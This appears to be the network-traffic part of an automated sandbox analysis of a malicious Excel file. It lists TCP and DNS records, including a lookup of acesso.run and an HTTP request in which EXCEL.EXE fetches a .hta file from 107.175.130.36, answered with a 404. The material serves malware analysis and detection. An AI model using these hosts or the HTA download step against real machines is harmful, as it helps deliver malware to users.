Oct 29, 2024 20:38:42.506129026 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.506141901 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.506175995 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.506227970 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.506242990 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.506252050 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.506257057 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.506730080 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.506767988 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.506844044 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.506961107 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.506975889 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.508287907 CET	50014	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.508315086 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.508373022 CET	50014	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.508811951 CET	50014	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.508819103 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.807933092 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.808712006 CET	50010	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.808736086 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.809442043 CET	50010	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.809448004 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.946444035 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.946477890 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.946537971 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.946588039 CET	50010	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.946614981 CET	50010	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.946857929 CET	50010	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.946875095 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.946880102 CET	50010	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.946885109 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.950479031 CET	50015	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.950525999 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.950624943 CET	50015	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.950795889 CET	50015	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.950809002 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.070410013 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.076168060 CET	50012	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.076184034 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.076726913 CET	50012	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.076731920 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.081126928 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.081506014 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.081527948 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.081976891 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.081983089 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.206753969 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.206782103 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.206964016 CET	50012	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.206984043 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.207046986 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.207201004 CET	50012	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.207236052 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.207252026 CET	50012	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.207252979 CET	50012	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.207264900 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.207273006 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.210297108 CET	50016	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.210340977 CET	443	50016	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.210427046 CET	50016	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.210593939 CET	50016	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.210604906 CET	443	50016	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.247668982 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.248327017 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.248346090 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.248837948 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.248842955 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.253443003 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.253885031 CET	50014	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.253897905 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.254276991 CET	50014	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.254295111 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.329839945 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.329868078 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.329883099 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.330106020 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.330127001 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.330180883 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.330876112 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.330935955 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.330950022 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.331006050 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.331175089 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.331192017 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.331202984 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.331208944 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.334328890 CET	50017	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.334367037 CET	443	50017	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.334439039 CET	50017	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.334630013 CET	50017	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.334642887 CET	443	50017	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.387826920 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.387852907 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.387897015 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.387994051 CET	50014	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.387994051 CET	50014	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.388216972 CET	50014	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.388242006 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.388325930 CET	50014	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.388333082 CET	443	50014	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.391859055 CET	50018	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.391885996 CET	443	50018	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.391949892 CET	50018	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.392144918 CET	50018	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.392153978 CET	443	50018	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.488075972 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.488148928 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.488192081 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.488209009 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.488226891 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.488243103 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.488267899 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.495837927 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.495918036 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.496047020 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.496068954 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.496089935 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.496135950 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.496160030 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.496274948 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.496289968 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.496300936 CET	50013	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.496306896 CET	443	50013	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.498961926 CET	50019	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.498996973 CET	443	50019	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.499083042 CET	50019	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.499197960 CET	50019	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.499216080 CET	443	50019	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.687611103 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.690068007 CET	50015	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.690084934 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.691133976 CET	50015	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.691140890 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.818738937 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.818762064 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.818869114 CET	50015	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.818882942 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.819096088 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.819139957 CET	50015	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.821430922 CET	50015	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.821448088 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.821470022 CET	50015	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.821475983 CET	443	50015	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.836154938 CET	50020	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.836191893 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.836245060 CET	50020	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.836390018 CET	50020	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.836406946 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.948879957 CET	443	50016	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.949491024 CET	50016	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.949523926 CET	443	50016	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:43.949999094 CET	50016	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:43.950009108 CET	443	50016	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.068110943 CET	443	50017	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.068892956 CET	50017	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.068907022 CET	443	50017	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.069268942 CET	50017	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.069274902 CET	443	50017	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.081121922 CET	443	50016	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.081185102 CET	443	50016	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.081228018 CET	50016	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.081464052 CET	50016	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.081480026 CET	443	50016	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.081492901 CET	50016	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.081497908 CET	443	50016	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.093616009 CET	50021	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.093658924 CET	443	50021	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.093709946 CET	50021	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.094187021 CET	50021	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.094197989 CET	443	50021	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.121438980 CET	443	50018	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.122678041 CET	50018	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.122704983 CET	443	50018	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.123194933 CET	50018	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.123203993 CET	443	50018	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.199098110 CET	443	50017	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.199577093 CET	443	50017	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.199693918 CET	50017	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.199693918 CET	50017	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.202089071 CET	50017	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.202109098 CET	443	50017	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.202455044 CET	50022	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.202500105 CET	443	50022	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.202601910 CET	50022	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.202737093 CET	50022	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.202749014 CET	443	50022	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.224044085 CET	443	50019	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.224479914 CET	50019	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.224488974 CET	443	50019	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.225064039 CET	50019	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.225070953 CET	443	50019	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.278567076 CET	443	50018	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.278636932 CET	443	50018	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.278721094 CET	50018	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.278981924 CET	50018	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.279001951 CET	443	50018	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.279016972 CET	50018	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.279021978 CET	443	50018	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.282144070 CET	50023	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.282195091 CET	443	50023	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.282279968 CET	50023	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.282455921 CET	50023	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.282469034 CET	443	50023	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.356617928 CET	443	50019	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.356718063 CET	443	50019	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.356846094 CET	50019	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.357177973 CET	50019	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.357177973 CET	50019	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.357199907 CET	443	50019	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.357212067 CET	443	50019	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.360379934 CET	50024	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.360426903 CET	443	50024	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.360531092 CET	50024	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.360743046 CET	50024	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.360755920 CET	443	50024	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.583585024 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.586182117 CET	50020	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.586214066 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.586664915 CET	50020	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.586673021 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.720092058 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.720122099 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.720163107 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.720200062 CET	50020	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.720238924 CET	50020	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.720758915 CET	50020	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.720787048 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.720799923 CET	50020	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.720807076 CET	443	50020	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.827071905 CET	443	50021	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.827718019 CET	50021	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.827733040 CET	443	50021	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.828332901 CET	50021	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.828337908 CET	443	50021	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.935971022 CET	443	50022	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.936816931 CET	50022	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.936841011 CET	443	50022	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.937449932 CET	50022	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.937458992 CET	443	50022	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.957103014 CET	443	50021	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.957170963 CET	443	50021	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.957375050 CET	50021	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.957426071 CET	50021	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.957448959 CET	443	50021	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:44.957459927 CET	50021	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:44.957467079 CET	443	50021	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.017971992 CET	443	50023	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.018760920 CET	50023	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.018780947 CET	443	50023	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.019367933 CET	50023	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.019373894 CET	443	50023	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.066350937 CET	443	50022	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.066420078 CET	443	50022	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.066653013 CET	50022	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.066713095 CET	50022	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.066730976 CET	443	50022	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.066744089 CET	50022	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.066749096 CET	443	50022	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.096704960 CET	443	50024	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.097337961 CET	50024	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.097373962 CET	443	50024	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.097901106 CET	50024	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.097908020 CET	443	50024	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.162425995 CET	443	50023	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.162494898 CET	443	50023	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.162585974 CET	50023	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.162858009 CET	50023	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.162873983 CET	443	50023	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.162884951 CET	50023	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.162890911 CET	443	50023	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.227433920 CET	443	50024	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.227675915 CET	443	50024	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.227758884 CET	50024	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.227802038 CET	50024	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.227822065 CET	443	50024	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:45.227844954 CET	50024	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:45.227850914 CET	443	50024	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:56.627746105 CET	49776	80	192.168.2.4	107.175.130.36
Oct 29, 2024 20:38:56.633548975 CET	80	49776	107.175.130.36	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 20:37:56.655936956 CET	57844	53	192.168.2.4	1.1.1.1
Oct 29, 2024 20:37:56.667784929 CET	53	57844	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 20:37:56.655936956 CET	192.168.2.4	1.1.1.1	0x3c75	Standard query (0)	acesso.run	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 20:37:11.320342064 CET	1.1.1.1	192.168.2.4	0x74a2	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:37:11.320342064 CET	1.1.1.1	192.168.2.4	0x74a2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:11.320342064 CET	1.1.1.1	192.168.2.4	0x74a2	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:51.670320988 CET	1.1.1.1	192.168.2.4	0x465b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:37:51.670320988 CET	1.1.1.1	192.168.2.4	0x465b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:56.667784929 CET	1.1.1.1	192.168.2.4	0x3c75	No error (0)	acesso.run		172.67.162.95	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:37:56.667784929 CET	1.1.1.1	192.168.2.4	0x3c75	No error (0)	acesso.run		104.21.74.191	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:38:13.060859919 CET	1.1.1.1	192.168.2.4	0xb686	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 20:38:13.060859919 CET	1.1.1.1	192.168.2.4	0xb686	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

acesso.run

107.175.130.36

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49776	107.175.130.36	80	5012	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:37:57.590251923 CET	259	OUT	GET /80/de/seethegoodgirlwhoismylovershealwayslovedmealotwithhereyes.hta HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: 107.175.130.36
Oct 29, 2024 20:37:58.267050982 CET	541	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Oct 2024 19:37:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Content-Length: 300 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 31 2e 32 35 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 35 2e 31 33 30 2e 33 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Server at 107.175.130.36 Port 80</address></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
